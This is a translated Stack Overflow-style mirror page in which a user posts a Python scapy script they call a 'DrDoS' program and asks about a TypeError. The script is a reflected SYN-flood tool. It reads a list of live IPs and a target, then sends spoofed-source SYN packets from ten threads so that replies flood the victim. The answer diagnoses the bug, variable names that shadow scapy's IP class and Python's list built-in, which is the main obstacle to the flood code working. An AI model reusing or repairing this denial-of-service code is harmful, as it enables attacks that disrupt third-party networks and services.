簡體   English   中英

Python TypeError:“ str”對象不可調用

[英]Python TypeError: 'str' object is not callable

我正在嘗試用python制作DrDoS程序,但我不斷

TypeError:“ str”對象不可調用

這是我的代碼

import os
import sys
import threading
from scapy.all import *
from time import sleep

if os.getgid()!=0:
print "Cannot send SYN packets without root, exiting..."
exit(1)

list=raw_input("List of live IPs: ")
target=raw_input("Target: ")
port=int(raw_input("Port: "))

print "Flooding, press ^Z to stop."

class SYNFlood(threading.Thread):
 def run(self):
    c=0
    with open(list, "r") as f:
        IP = f.readline()
        a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port)
        send(a, verbose=0)
        sys.stdout.write('.')
        c=c+1
    print "Done, sent " + str(c) + " packets."
    exit(0)

for x in range(10):
t = SYNFlood()
t.start()

我做了一些研究,發現這是從一個名為“ str”的變量中獲得的,但我還沒有發現。 有趣。

這些行在這里:

IP = f.readline()
a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port)

包含問題, IP是一個字符串,您正試圖像函數一樣調用它。

IP(dst=IP, src=target, ttl=255)

也許您應該選擇一個不同的變量名,以免干擾其他名稱空間。

另外,這一行:

list=raw_input("List of live IPs: ")

阻止您使用list內置函數,請也重新考慮此名稱。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM